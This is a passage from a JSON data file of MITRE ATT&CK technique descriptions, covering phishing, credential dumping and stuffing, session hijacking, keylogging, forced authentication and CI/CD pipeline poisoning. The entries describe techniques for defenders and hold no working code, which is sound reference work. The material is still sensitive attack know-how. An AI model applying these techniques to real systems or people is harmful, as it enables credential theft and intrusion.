to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows" + }, + { + "id": "T1556.008", + "text": "ATT&CK technique: T1556.008 Network Provider DLL\nDescription: Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions. During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening. Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`. Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function. Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.\nTactics: credential access, defense impairment, persistence\nPlatforms: Windows" + }, + { + "id": "T1056.001", + "text": "ATT&CK technique: T1056.001 Keylogging\nDescription: Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include: * Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data. * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. * Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1563", + "text": "ATT&CK technique: T1563 Remote Service Session Hijacking\nDescription: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1684", + "text": "ATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1110.004", + "text": "ATT&CK technique: T1110.004 Credential Stuffing\nDescription: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1040", + "text": "ATT&CK technique: T1040 Network Sniffing\nDescription: Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as Name Resolution Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Stealth activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. On network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.\nTactics: credential access, discovery\nPlatforms: IaaS, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1187", + "text": "ATT&CK technique: T1187 Forced Authentication\nDescription: Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials. There are several different ways this can occur. Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1003", + "text": "ATT&CK technique: T1003 OS Credential Dumping\nDescription: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1550.001", + "text": "ATT&CK technique: T1550.001 Application Access Token\nDescription: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS). OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application. For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration. Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated. Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1556.006", + "text": "ATT&CK technique: T1556.006 Multi-Factor Authentication\nDescription: Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts. Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality. For example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1212", + "text": "ATT&CK technique: T1212 Exploitation for Credential Access\nDescription: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges. Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal. Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1566.004", + "text": "ATT&CK technique: T1566.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on User Execution for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools (Remote Access Tools) onto their computer. Adversaries may also combine voice phishing with Multi-Factor Authentication Request Generation in order to trick users into divulging MFA credentials or accepting authentication prompts.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1556", + "text": "ATT&CK technique: T1556 Modify Authentication Process\nDescription: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1114.002", + "text": "ATT&CK technique: T1114.002 Remote Email Collection\nDescription: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.\nTactics: collection\nPlatforms: Office Suite, Windows" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1098", + "text": "ATT&CK technique: T1098 Account Manipulation\nDescription: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.\nTactics: persistence, privilege escalation\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1213.005", + "text": "ATT&CK technique: T1213.005 Messaging Applications\nDescription: Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information. The following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: * Testing / development credentials (i.e., Chat Messages) * Source code snippets * Links to network shares and other internal resources * Proprietary data * Discussions about ongoing incident response efforts In addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.\nTactics: collection\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1078.003", + "text": "ATT&CK technique: T1078.003 Local Accounts\nDescription: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1552", + "text": "ATT&CK technique: T1552 Unsecured Credentials\nDescription: Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Shell History), operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. Private Keys).\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1213.003", + "text": "ATT&CK technique: T1213.003 Code Repositories\nDescription: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or Unsecured Credentials contained within software's source code. Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts. **Note:** This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.\nTactics: collection\nPlatforms: SaaS" + }, + { + "id": "T1550", + "text": "ATT&CK technique: T1550 Use Alternate Authentication Material\nDescription: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process. Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows" + }, + { + "id": "T1677", + "text": "ATT&CK technique: T1677 Poisoned Pipeline Execution\nDescription: Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: * In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact. * In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters. * In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network. By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\nTactics: execution\nPlatforms: SaaS" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1558.005", + "text": 